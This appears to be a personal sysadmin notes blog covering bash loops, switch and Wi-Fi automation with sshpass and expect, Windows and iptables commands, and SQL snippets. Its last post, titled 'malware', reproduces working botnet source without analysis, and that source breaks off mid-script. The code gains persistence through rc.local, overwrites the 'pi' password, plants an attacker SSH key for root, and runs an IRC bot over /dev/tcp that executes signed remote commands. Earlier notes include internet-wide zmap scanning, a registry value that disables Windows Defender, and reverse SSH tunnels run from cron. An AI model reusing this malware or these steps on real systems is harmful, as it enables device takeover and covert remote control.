for i in $(zmap -B6M --probe-module=icmp_echoscan 10.1.0.0/16 -iens32 )
do
echo $i
#printf "\n"
snmpwalk -t0.1 -v2c -cSNMP_COMMUNITY $i sysName.0
done



#loop essential
for i in {1..5}; do echo $i; done
for i in {0..10..2}; do echo $i; done # 0 2 4 6 8 10
seq 5 # 1 2 3 4 5

### batch rename
$ ls
N.E.R.D. - Spaz.mp3
$ for filename in *-* ; do mv "$filename" "${filename/* - /nerd\ }"; done
$ ls
nerd Spaz.mp3


#ping 8.8.8.8 |while read A; do echo -n `date +%H:%M:%S`; echo -n " "; echo $A ;done
ping 8.8.8.8 |while read A; do echo `date +%H:%M:%S`" "$A ;done

###infinity loop
while : ; do SOMETHING ;done
while :;do echo e>>/tmp/a;done
while true ;do echo a ;done
while : ;do echo a ;done
###
for i in $(ls /home/e/Desktop/asus_snapshot_file/)
do
cat  /home/e/Desktop/asus_snapshot_file/${i} >> /tmp/Z1
printf "\n" >> /tmp/Z1
done
awk -Fsnapshot/ '{print $2}' /tmp/Z1  |awk -Fjpg '{print $1}'  |sed 's/^/cp --parents \/home\/webdata\/htdocs\/snapshot\//'|sed 's/$/jpg snapshot\//' > /tmp/Z2
###
X=1
while [ $X -le 10 ]
do
time bash /home/e/Desktop/165554.sh
X=$(($X + 1))
done
###
rm -rf /tmp/WH.ABANDONED.txt
#/S/wh.sh "show interfaces terse |except \\. |match ge- "
#/S/wh.sh "show interfaces terse |except \\. |match ge- " |awk '{print $1}'
for i in $(/S/wh.sh "show interfaces terse |except \\. |match ge- " |grep -v up.*up |awk '{print $1}' )
do
#echo ${i}
/S/wh.sh    "show configuration |display set |match   \" ${i} \"" >>/tmp/WH.ABANDONED.txt


#######################################################################

r@remotehost "bash -s" < local_script.sh
-s makes bash read from standard input.

####################useless shit - auto-clean mac-address#################
sshpass -p PASSWORD     ssh -o StrictHostKeyChecking=no USER@JUST_SOME_IP23 show log messages \|no-more \|match limit   >>/tmp/w
sshpass -p PASSWORD     ssh -o StrictHostKeyChecking=no USER@JUST_SOME_IP24 show log messages \|no-more \|match limit   >>/tmp/w
awk  '{print $12}' /tmp/w  |head -1 /tmp/w  |awk '{print $12}' |sed 's/.0:$//g' >/tmp/x

while read i; do  sshpass -p PASSWORD     ssh -o StrictHostKeyChecking=no USER@JUST_SOME_IP23  clear ethernet-switching table persistent-mac interface ${i} ;done < /tmp/x
while read i; do  sshpass -p PASSWORD     ssh -o StrictHostKeyChecking=no USER@JUST_SOME_IP24  clear ethernet-switching table persistent-mac interface ${i} ;done < /tmp/x
rm -rf /tmp/[wx]


#####################useless shit - clean mac-address####################
sshpass -p PASSWORD     ssh -o StrictHostKeyChecking=no USER@JUST_SOME_IP24  show configuration \|display set \|match  description \| match ${1}  >>/tmp/z
sshpass -p PASSWORD     ssh -o StrictHostKeyChecking=no USER@JUST_SOME_IP23  show configuration \|display set \|match  description \| match ${1}  >>/tmp/z
awk '{print $3}' /tmp/z> /tmp/y ; 
while read i; do  sshpass -p PASSWORD     ssh -o StrictHostKeyChecking=no USER@JUST_SOME_IP24  clear ethernet-switching table persistent-mac interface ${i}  ;done < /tmp/y
while read i; do  sshpass -p PASSWORD     ssh -o StrictHostKeyChecking=no USER@JUST_SOME_IP23  clear ethernet-switching table persistent-mac interface ${i}  ;done < /tmp/y
rm -rf /tmp/[yz]

#################ONLINE##############
for DD in $(date +%Y%m%d)
do
echo $DD
/usr/bin/expect -c "
spawn ssh USER@IP_ADDRESS  -o StrictHostKeyChecking=no;
expect Please;
send USER_NAME\n;
expect Password;
send UR_PASSWORD\n;
expect ruckus;
send enable\n;
expect ruckus;
send config\n;
expect ruckus;
send \" wlan SSID\n\";
expect config-wlan;
send \"open wpa2 passphrase PASSWORDAND-$DD algorithm AES\n\";
expect config;
send exit\n;
expect ruckus;
send exit\n; "
done


###################BETA#############\
 #!/usr/bin/expect
spawn ssh IP_ADDRESS
expect Please
send USER\r
expect Password
send UR_PASSWORD\r
expect ruckus>
send enable\r
expect ruckus
send config\r
expect ruckus
send "SSID_NAME\r"
expect config-wlan
send "open wpa2 passphrase WIFI_PASSWORD algorithm AES\r"
expect config
send exit\r
expect ruckus
send exit\r
########################################

#interact


0 * * * *      root    /usr/bin/pkilli -kill ssh
 2 * * * * root /usr/bin/ssh -NfR CUSTOMIZED_PORT:127.0.0.1:22 USER@DESTINATION_IP -pPORT




for i in $(ls|grep -v sh$)  ; do mv ${i}  ${i}.sh ; done
while true; do ssh -R "NEW_PORT_NUMBER_ON_DMZ_127.0.0.1":localhost:IT'S_SSH_PORT_22 USER_ON_DMZ -pPORTNUMBER ; sleep 3; done

rrdtool dump:
for i in `ls`;do rrdtool dump ${i} ${i}.xml ;done


restore .rra from xml:
 for i in $(ls);do rrdtool restore ${i} `echo ${i} |sed s/.xml//g` ; done


check device swap percentage:
for i in $(/usr/bin/php /var/www/html/cacti/cli/add_graphs.php --list-hosts |awk '{print $4}') ; do 
echo ${i} >>/tmp/snmpwalk3.tmp 
a=$(/usr/bin/snmpwalk -v2c -cuitox ${i} hrStorageSize.10| awk '{print $4}') 
b=$(/usr/bin/snmpwalk -v2c -cuitox ${i} hrStorageUsed.10| awk '{print $4}') 
c=$(echo "scale=2; ${b} / ${a}" | bc) 
sed -i s/${i}/${c}" "${i}/g /tmp/snmpwalk3.tmp 
done 
cat /tmp/snmpwalk3.tmp |grep "^\.[^0]" --color |grep -iv 'esxi\|db\|ms' |sort -r >/tmp/snmpwalk4.tmp 
echo -------------------------------- >> /tmp/snmpwalk4.tmp 
cat /tmp/snmpwalk3.tmp |grep "^\.[^0]" --color |grep -v esxi |grep -i 'db\|ms' |sort -r >>/tmp/snmpwalk4.tmp 
cat /tmp/snmpwalk4.tmp |mail -s "$(date +%m%d.idc.server.swap.exceeded)"  USER2@DOMAIN.com USER1@DOMAIN.com

cat /tmp/a
sshpass  -p YOURPASSWORD ssh -tt -o StrictHostKeyChecking=no   UR_ID@GATE_IPADDRESS sshpass  -p UR_PASSWORD ssh -tt UR_SERVER_IP ${1}
/tmp/a "cat RANDOM.log "



Monday, January 8, 2018

fixing: unsupported locale setting


export LANGUAGE=en_US.UTF-8
export LANG=en_US.UTF-8
export LC_ALL=en_US.UTF-8
locale-gen en_US.UTF-8
sudo dpkg-reconfigure locales

https://medium.com/@mohammedhammoud/fix-locale-error-unsupported-locale-setting-f9849eec41f1

Tuesday, January 2, 2018

different between "apt-get update", "apt-get upgrade" & "apt-get dist-upgrade"

You should first run update, then upgrade. Neither of them automatically runs the other.

apt-get update updates the list of available packages and their versions, but it does not install or upgrade any packages.
apt-get upgrade actually installs newer versions of the packages you have

# dist-upgrade
apt-get dist-upgrade, in addition to performing the function of apt-get upgrade, also intelligently handles changing dependencies with new versions of packages and will attempt to upgrade the most important packages at the expense of less important ones if necessary. Thus, the apt-get dist-upgrade command may actually remove some packages in rare but necessary instances.

Wednesday, December 6, 2017

rpi

root@HOSTNAE:~# cat /etc/network/interfaces  |egrep -v ^#\|^$
auto lo
iface lo inet loopback
allow-hotplug eth0
iface eth0 inet static
address 10.1.1.0
netmask 255.255.255.0
gateway 10.1.1.254
dns-nameservers 8.8.8.8
iface wlan0 inet dhcp
address 192.168.0.100
netmask 255.255.255.0
gateway 192.168.0.1
wireless-essid Not_Set
wireless-key Not_Set
wireless-mode Managed
wireless-power off
wpa-ssid Not_Set
wpa-psk Not_Set

Wednesday, November 22, 2017

ms

#shutdown remove PC
shutdown -r -f -t 0 -m \\10.5.40.153
runas /user:administrator "mmc.exe"

dsquery user -inactive 2 -limit 0 |findstr &quot;HQSC DEV02&quot;|sort

# delete domain user
net user york.lin /del /domain

? delete printer?
wmic printer where "Local='FALSE'" delete
wmic printer where "PortName LIKE 'IP_%%'" delete
#correct linux+window dual boot system window time
 timedatectl set-local-rtc 1
netsh wlan show profile name=THE_SSID_U_WANT_TO_CHECK key=clear

lxrun /uninstall /full

>net user USER /domain | findstr /C:"Last logon"


batch rename:
ren *.html *.txt

"kb2267602" "0x80070643"
disable Windows Defender on Win10
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
creat one if none: DWORD-32  DisableAntiSpyware value=1

DWORD-32 only, no more smart-ass DWORD-64.


adwcleaner:
toolslib.net

netsh interface ip delete destinationcache
netsh winsock reset
ipconfig /flushdns
ipconfig /registerdns
ipconfig /release
ipconfig /renew
netsh winsock reset catalog
netsh int ipv4 reset reset.log
netsh int ipv6 reset reset.log
shutdown -r -f -t 0

cd [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\
search Microsoft Visual C++ 201*
check InstallSource and get the *.mis


Enable F8 Safe Mode Boot Menu on windows 10
bcdedit /set {default} bootmenupolicy legacy
bcdedit /set {default} bootmenupolicy standard


Disk C only:
create partition primary
assign letter=c
active

Disk C and D:
select disk 0
clean
create partition primary size=102400
active
assign letter=c
create partition primary
active
exit

net user york.lin /del /domain
dsquery user -inactive 2 -limit 0 |findstr "HQSC DEV02"|sort

cd C:\Users\USER\Desktop\
DSQUERY COMPUTER  -limit 0|findstr HQ-DEV-TECH |sort >bbbb.txt

make EFI bootable usb
clean
create partition primary
format fs=fat32 quick
active
assign
exit



Enable administrator run app on win8 and win10
run secpol.msc
Local Policies/Security
enable User Account Control Admin Approval Mode for the Built-in Administrator account

Windows Server 2012 No Security Tab in SNMP
install feature Remote Server Administration Tools -> Feature Administration Tools -> SNMP Tools
Click Next and Install.
Restart SNMP Service.


Disable win 10 auto update

MAC-Authentication
https://documentation.meraki.com/MR/Encryption_and_Authentication/Creating_an_NPS_Policy_for_MAC-based_Authentication

DNS Servers not working correctly when set as secondary DNS server
https://social.technet.microsoft.com/Forums/windowsserver/en-US/1795e720-30dc-4ceb-9004-0fd07db8376e/dns-servers-not-working-correctly-when-set-as-secondary-dns-server?forum=winservergen
The secondary DNS is only used when the client determines that primary is not reachable, in your case, could you shut down the primary DNS first and then either reboot client PCs and test if they cant reach the secondary or
open command prompt and run
ipconfig/flushdns
then perform DNS querys  and see if this doesnot work.

Printer, Toner Counter on Brother
1. Open the front panel.
2. Press the Clear/Back button. The display will show: REPLACE DRUM? 1. Yes 2. No
3. Ignore the display, and type *00 on the keypad. You should see "accepted" on the display.
4. Close the front panel, and you should be good to go

enable NPS log
http://blog.pmail.idv.tw/?p=11710
NPS(本機)節點 > 滑鼠右鍵 > 內容,check both.
check running auditing
auditpol /get /category:*
enable
auditpol /set /subcategory:"Network Policy Server" /success:enable /failure:
enable

netstat -nob
PID+PORT+#


Run Commands
control Control Panel
control folders Folders Properties
control mouse Mouse Properties
control netconnections Network Properties
control printers Printers Folders
control userpasswords2 Manager all User Accounts
control update Windows Update
appwiz.cpl Application Wizard (Program and Features)
inetcpl.cpl Internet Properties (Internet Control Panel)
sysdm.cpl System Properties
firewall.cpl Windows Firewall
notepad Notepad
devmgmt.msc Device Management
dxdiag Direct X Troubleshooter
cleanmgr Clean Manager - Disk Cleanup Utility
osk On Screen Keyboard
fsquirt Bluetooth Transfer Wizard
mrt alicious Software Removal Tool
ipconfig /showclassid IP Configuration (Display DHCP Class ID)

reset windows update, fix it download
https://support.microsoft.com/en-us/kb/971058

How to disable USB sticks and limit access to USB storage devices on Windows systems
http://diaryproducts.net/about/operating_systems/windows/disable_usb_sticks
Download USBSTOR.ADM
http://diaryproducts.net/files/usbstore.adm

download visual  studio shell
http://www.visualstudioextensibility.com/downloads/vs-shells/

Last logon time of user
http://www.windows-commandline.com/last-logon-time-of-user/



Wednesday, November 8, 2017

fw & iptables

# saving iptable config
1
iptables-save > /etc/iptables.conf
echo 'iptables-restore < /etc/iptables.conf' >> /etc/rc.local

2
yum install iptables-services

#
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE

miss config reth on fw and ae on switch result connection unstable, like on and off often

package before Mark era

root@raspberrypi:~# iptables-apply
Applying new iptables rules from '/etc/network/iptables.up.rules'... done.
root@raspberrypi:~# iptables-save > /etc/network/iptables.up.rules'

 -A adds the rule at the end.
Typically the last rule will be to drop all packets.
-p is for protocol
Possible values are tcp, udp, icmp
Use “all” to allow all protocols. When you don’t specify -p, by default “all” protocols will be used.
Use either the name (for example: tcp), or the number (for example: 6 for tcp) for protocol.
/etc/protocols file contains all allowed protocol name and number.

-s is for source
This can be ip address, or network address, or hostname
 -s 192.168.1.101
 “-s 192.168.1.0/24” represents a network mask of 255.255.255.0 for that network. This matches 192.168.1.x network.
-d is for destination


"j" specifies what needs to happened. Possible values are ACCEPT, DROP, QUEUE, RETURN
-i for input interface and -o for output interface.
If you don’t specify -o option, all available interfaces on the system will be considered for output packets.
to use “–sport” option, you should’ve specified “-p tcp” (or “-p udp”) parameter in your firewall rule.
–sport is for source port (for -p tcp, or -p udp)

To match range of ports, use colon. For example, 22:100 matches port number from 22 until 100.
You can also use –source-port, –dport is for destination port (for -p tcp, or -p udp)

This can contain multiple values separated by comma.
Possible values are: SYN, ACK, FIN, RST, URG, PSH. You can also use ALL or NONE
–icmp-type is for ICMP Type (for -p icmp)

When you use icmp protocol “-p icmp”, you can also specify the ICMP type using “–icmp-type” parameter.
For example: use “–icmp-type 0” for “Echo Reply”, and “–icmp-type 8” for “Echo”.

iptables -A INPUT -i eth0 -p tcp --dport 22 -j ACCEPT
The above iptables command has the following 4 components.

“-A INPUT” – This indicates that we are appending a new rule (or adding) to the INPUT chain. So, this rule is for incoming traffic.
“-i eth0” – Incoming packets through the interface eth0 will be checked against this rule.
“-p tcp –dport 22” – This rule is for TCP packets. This has one tcp option called “–dport 22”, which indicates that the destination port for this rule on the server is 22 (which is ssh).
“-j ACCEPT” – Jump to accept, which just ACCEPTS the packet.

iptables -A INPUT -j DROP

srx VPN setup :
main mode: public IP needed
aggressive mode: for dynamic IP, single public IP needed, 1st, hostname auth. 2nd, ket auth.

two main element:
key
interface( two side ) st.: secret turnal
st: connect private IP


?how do i decide what salt-like i ll use?


Monday, October 16, 2017

BASH For Loop Sequence

Here are a few different ways to do a loop over a range of numbers:

for I in {1..10}; do echo $I; done

for I in 1 2 3 4 5 6 7 8 9 10; do echo $I; done

for I in $(seq 1 10); do echo $I; done

for ((I=1; I <= 10 ; I++)); do echo $I; done

numbered hostnames padded with zeros:
for ((I=1; I <= 29 ; I++)); do
echo `printf "node%02d\n" $I`;
done

###

If I need to create lots of files with similar names or to use up lots of space for testing, then I do things like:

for f in 0 1 2 3 4 5 6 7 8 9
do
for g in 0 1 2 3 4 5 6 7 8 9
do
dd if=/dev/zero of=/some/path/file0$f$g bs=16384 count=xxxx
done
done

It is a quick and compact way to get the job done.

###

These are very useful examples to see side by side. Thanks, Gavin!

I'd just like to add 2 points:

1. for i in $(seq 1 10);

can be simplified to

for i in $(seq 10);

2. Older versions of BASH do not have the 'seq' command or brace {1..10} support , which makes the C form(a) the most portable, particularly when going back and forth between UNIX and Linux.

---------
(a) C form: for ((I=1; I <= 10; I++));

###


Wednesday, October 11, 2017

linux 101

# view uptime or acpi live
watch uptime/ watch acpi
# disable /etc/resolv.conf DNS update
echo 'PEERDNS=no' >> /etc/sysconfig/network-scripts/ifcfg-eth0

# troubleshooting DNS TCP/UDP port
dig +tcp A example.com# checking CPU

cat /proc/cpuinfo

# checking GPU
lspci |grep -i nvid# vim save with sud

o permission
:w !sudo tee %

# run level
chkconfig

# change /var/log/LOG permission
$FileOwner SOMEONE
$FileGroup SOMEGROUP
$FileCreateMode 0644
$DirCreateMode 0755
$Umask 0022

# remount
 mount -o remount,rw /

# make muldipal file
touch {a..z}.txt

#grep the exact string
grep -w


#checking GPU
update-pciids; lspci | grep -E "VGA|3D"
#or
sudo lshw -c video

#zmap, -B is for bandwidth, 1M
zmap -B1M   --probe-module=icmp_echoscan 0.0.0.0/0  -o/tmp/OUTPUT_FILE.txt   2>/dev/null

#check package via command
yum provides semanage

# check file ctime ull formate
ls --full-time
ls -l --time=atime
ls -l --time=ctime

# fixing locale issue 
#vim /etc/profile
export LC_ADDRESS="en_US.UTF-8"
export LC_IDENTIFICATION="en_US.UTF-8"
export LC_MEASUREMENT="en_US.UTF-8"
export LC_MONETARY="en_US.UTF-8"
export LC_NAME="en_US.UTF-8"
export LC_NUMERIC="en_US.UTF-8"
export LC_PAPER="en_US.UTF-8"
export LC_TELEPHONE="en_US.UTF-8"

# crontab
@reboot         root    sleep 60;SOME_COMMAND_LIKE_reboot
# timestamp
ping 8.8.8.8 | xargs -L 1 -I '{}' date '+%Y-%m-%d %H:%M:%S: {}' 

Thursday, September 14, 2017

kb


#
DNS mostly uses UDP, when response data size exceed 512 or 4096 and DNS server support EDNS, resolvers will fall back to using TCP.

# DNS common records
Start of Authority (SOA),
IP addresses (A and AAAA),
SMTP mail exchangers (MX),
name servers (NS),
pointers for reverse DNS lookups (PTR),
domain name aliases (CNAME)

Friday, September 8, 2017

Wednesday, August 23, 2017

quotes

letting fear make all your decisions for you
--adventure tim

revenge is a dish best served cold
--kill bill

Three tomatoes are walkin' down the street.
Papa Tomato, Mama Tomato and Baby Tomato.
Baby Tomato starts lagging behind, and Papa Tomato gets really angry.
Goes back and squishes him and says: "Ketchup."
--Pulp Fiction


I would wear those fine legs around my neck like a scarf, and suck on them like they have the cure for cancer
--@goodbet

I am confident. My confidence is powerful.
I recognize myself as exceptional.
I will follow my dreams, no matter what…
--Mr. Robot

I place myself in alignment with the things I want
I dissolve all false messages
My beliefs create my own reality
All of my dreams are coming true right now.
--Mr. Robot

1st day of rest of my life
--clerks 2

those who mind don't matter,  those who matter don't mind
--?

b the best in ur field
--neo.lai

think 2 extra layer for ur supervisor
--neo.lai

don't waste your time looking back you're not going that way
--vikings

Tuesday, August 15, 2017

bash essential

#!/bin/bash
if [ $1 -eq 100 ]
then
  echo "Count is 100"
else
  if [ $1 -gt 100 ]
  then
    echo "Count is greater than 100"
  else
  echo "Count is less than 100"
  fi
fi


# case example
#!/bin/bash
case $1 in
start)
echo starting
;;
stop)
echo stoping
;;
restart)
echo restarting
;;
*)
echo don\'t know
;;
esac


Wednesday, August 9, 2017

forex rollover rate

關於上次你問的隔夜利息的事情
我想起怎麼跟你解釋了
假設你現在擁有$100,美國利率1.25%,歐元利率0.25%。
今天你做多EUR/USD 1口,500美元。槓桿1:200放大是兩百倍,即500*200=10萬
更正一下之前的假設,假設你有$1000 @@,$100太少
然而事實上你帳戶只有$1000,而不是10萬美元,所以你得去銀行借10萬美元,而你下單的$500就是你的保證金,但你跟銀行借10萬美元是要利息的,1天的利息費用為$10萬*1.25%*1/365=3.4246美元,這是放大兩百倍的利息費用
然後你把借來的10萬美元拿去兌換歐元,就是前面所謂的做多EUR/USD,而你持倉期間是以歐元的形式存放在銀行,會得到利息收入,假設匯率尚未變動,利息計算方式為「價值10萬美元的歐元」*0.25*1/365=0.6849美元,一樣是放大兩百倍的利息收入
當利息收入低於利息費用時,差額-$2.7397就是你每天要負擔的隔夜利息,多半是半夜12點計算一次。
這也是為什麼你下0.01口(福匯的1K),歐/美隔夜利息大概在-2.7397/100=-$0.027397, 約-$0.02或-$0.03
實際上不會剛好真的在-.2.7397,因為經紀商也要手續費用
所以利息費用只會比實際更貴,而利息收入只會比實際更少,端看經紀商拿多少。
相反的,你做空EUR/USD,就是跟銀行借「價值10萬美元的歐元」去兌換成10萬美元,邏輯思路是一樣的。
希望這麼說你會明白,這道理書上也未必講得如此清楚

Monday, July 24, 2017

gnuplot

sshpass  -pPASSWORD scp -rP44444 -o StrictHostKeyChecking=no   USER@IPADDRESS:/DATA /tmp/.Z3
awk '{print $3}'  /tmp/.Z3 > /tmp/.Z1
echo '#!/usr/bin/gnuplot -persist' > /tmp/.Z2
# smooth {unique | frequency | csplines | acsplines | bezier | sbezier}
echo 'plot "/tmp/.Z1" with lines smooth bezier' >> /tmp/.Z2
chmod 0777 /tmp/.Z*
/tmp/.Z2
wc /tmp/.Z1
tail -n1 /tmp/.Z3
#rm -rf /tmp/.Z* #no need, according to the 2nd line
cat /tmp/.Z3

Tuesday, July 18, 2017

pen. test(draft)

> airmon-ng start wlp4s0
(monitor mode enabled on mon1)
> airodump-ng mon0

Friday, July 7, 2017

/var/log/squid/access.log

http://www.labtestproject.com/linux_network/understand_and_monitor_squid_access_log_file_accesslog.html

1265939281.764      1 172.16.167.228 TCP_DENIED/403 734 POST http://lbcore1.metacafe.com/test/SystemInfoManager.php - NONE/- text/html

Understand squid access.log:

Columns
1.        1265939281.764  ==>   Time in Unix timestamp format, if convert its look like Fri, 12 Feb 2010 01:48:01 GMT
2.                     1  ==>   Duration the elapsed time received, request and response from squid
3.        172.16.167.228  ==>   Client IP Address
4.        TCP_DENIED/403  ==>   Result Codes Squid result code and HTTP status code separated by slash
5.                    734  ==>   Size in bytes the size/amount of data delivered to client
6.                  POST  ==>   Request Method request method made by client
7.  http://lbcore1.metacafe.com/test/SystemInfoManager.php  ==>  URL URL address requested by client
8.                    -  ==>   rfc931 ident lookups for the requesting client, default value for ident lookups is turn off because performance issue so usually you get the " - "
9.                NONE/-  ==>   Hierarchy Code
10.           text/html  ==>    Type content type of the object seen in the HTTP reply header

Display selected item or columns from squid access log.

   The tail command and awk command in example below show only selected columns from the squid access.log log file.  The command below display only client IP Address and URL address request by client from squid access.log.
[root@fedora10 squid]# tail -f /var/log/squid/access.log | awk '{print$3 " " $8 " " $7}'
172.16.169.227 - http://www.japaneseclassiccarshow.com/jccs-banner510.jpg

   The command example below display client IP Address, Squid result code/HTTP status code, Request method and URL address request by client from squid access.log file.
[root@fedora10 squid]# tail -f /var/log/squid/access.log | awk '{print$3 " " $4 " " $6 " " $8 " " $7}'
172.16.164.32 TCP_MISS/301 GET - http://us.update.companion.yahoo.com/slv/v6/not?

   The command example below display client IP Address, Squid result code/HTTP status code, Request method, URL address request by client and content type from squid access.log file.
[root@fedora10 squid]# tail -f /var/log/squid/access.log | awk '{print$3 " " $4 " " $6 " " $8 " " $7 " " $10}'
172.16.164.24 TCP_MISS/200 GET - http://apps.facebook.com/premierfootball/Results.aspx? text/html

Keywords: understand squid access.log, squid access.log, squid access log file, squid log, monitor squid log, monitor squid access.log, squid log file, understand squid log file

Friday, June 30, 2017

db

use zabbix;
update zabbix.users set passwd=md5('newpass') where alias='Admin';

MariaDB> CREATE DATABASE database_name;
MariaDB> CREATE USER 'cactiuser'@'localhost' IDENTIFIED BY 'cactipassword';
MariaDB> GRANT ALL PRIVILEGES ON cactidb.* TO 'cactiuser'@'localhost';
MariaDB> FLUSH PRIVILEGES;

update user_auth set password=md5('admin') where username='admin';

update users set passwd = md5('newpassword') where alias = "username";

select lastdate, lastcome from hardware where lastdate like '2016%' and lastcome like '2016%';


select name, userid, lastdate, lastcome from hardware where ipaddr like '10.1.56.121' and lastdate like '2016-09%'\G;

select USERID from hardware where ipaddr like '10.1.56.121' and lastdate like '2016-09%'\G;

select lastdate, lastcome from hardware where ipaddr like '10.1.56.121' and lastdate like '2016-09%'\G;


-> \c

select 1+1;

SELECT VERSION(); SELECT NOW();


select SSN, SMANUFACTURER, NAME, IPADDR from hardware a join bios  where SSN not like 'VMware%' and WORKGROUP like 'ux.com' and LASTDATE like '2016%';

select SMANUFACTURER, TYPE from bios order by SMANUFACTURER

rows in set, 1 warning
show warning;


select * from bios where TYPE not like '%Notebook%' and TYPE not like '%Desktop%'\G;

not REGEXP 'Notebook|Laptop|COMPATIBLE'
select * from hardware a left join bios b on a.ID=b.HARDWARE_ID where a.ID=1941 \G;
select SSN, SMANUFACTURER from bios where SSN  not like 'VMware%';
select NAME, IPADDR, LASTDATE from hardware where WORKGROUP  like 'ux.com' and LASTDATE like '2016%' ;

select SSN, BDATE from bios;
describe bios;
select DISTINCT  SSN   FROM bios: uniq


mysqldump ............ ocsweb --lock-tables=false -T 10.1.24.128:/tmp/test.csv



主檔hardware 其他child table的foreign key 為hardware_id

show create table hardware: 這可查他的table欄位type 與大小
mysql -u root -p

select * from bios where  TYPE not REGEXP 'Desktop|Notebook|Laptop|COMPATIBLE|Other|Portable' \G;

mysql> show databases;
show tables;   # ???
select host from mysql.user;
 desc mysql.user;

 yum install -y mariadb-server.x86_64
services mysql start
mysql_secure_installation

fstab

defaults = rw, suid, dev, exec, auto, nouser, and async.
sync/async              All I/O to the file system should be done (a)synchronously.
auto                    The filesystem can be mounted automatically (at bootup, or when mount is passed the -a option). This is really unnecessary as this is the default action of mount -a anyway. 
noauto                  The filesystem will NOT be automatically mounted at startup, or when mount passed -a. You must explicitly mount the filesystem.
dev/nodev               Interpret/Do not interpret character or block special devices on the file system. 
exec / noexec           Permit/Prevent the execution of binaries from the filesystem.
suid/nosuid             Permit/Block the operation of suid, and sgid bits.
ro                      Mount read-only.
rw                      Mount read-write.
user                    Permit any user to mount the filesystem. This automatically implies noexec, nosuid,nodev unless overridden.
nouser                  Only permit root to mount the filesystem. This is also a default setting.
defaults                Use default settings. Equivalent to rw, suid, dev, exec, auto, nouser, async.
_netdev                 this is a network device, mount it after bringing up the network. Only valid with fstype nfs.

Sunday, June 18, 2017

malware

#!/bin/bash

MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG

if [ "$EUID" -ne 0 ]
then
NEWMYSELF=`mktemp -u 'XXXXXXXX'`
sudo cp $MYSELF /opt/$NEWMYSELF
sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
sudo sh -c "echo 'exit 0' >> /etc/rc.local"
sleep 1
sudo reboot
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG

killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc

usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys

echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

BOT=`mktemp -u 'XXXXXXXX'`

cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do

arr[0]="ix1.undernet.org"
arr[1]="ix2.undernet.org"
arr[2]="Ashburn.Va.Us.UnderNet.org"
arr[3]="Bucharest.RO.EU.Undernet.Org"
arr[4]="Budapest.HU.EU.UnderNet.org"
arr[5]="Chicago.IL.US.Undernet.org"
rand=$[$RANDOM % 6]
svr=${arr[$rand]}

eval 'exec 3<>/dev/tcp/$svr/6667;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi

echo $NICK

eval 'printf "NICK $NICK\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi

# Main loop
while [ true ]; do
eval "read msg_in <&3;"

if [[ ! "$?" -eq 0 ]] ; then
break
fi

if  [[ "$msg_in" =~ "PING" ]] ; then
printf "PONG %s\n" "${msg_in:5}";
eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
sleep 1
eval 'printf "JOIN #biret\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
privmsg_h=$(echo $msg_in| cut -d':' -f 3)
privmsg_data=$(echo $msg_in| cut -d':' -f 4)
privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

if [[ "$sign" == "$hash" ]] ; then
CMD=`echo $privmsg_data | base64 -d -i`
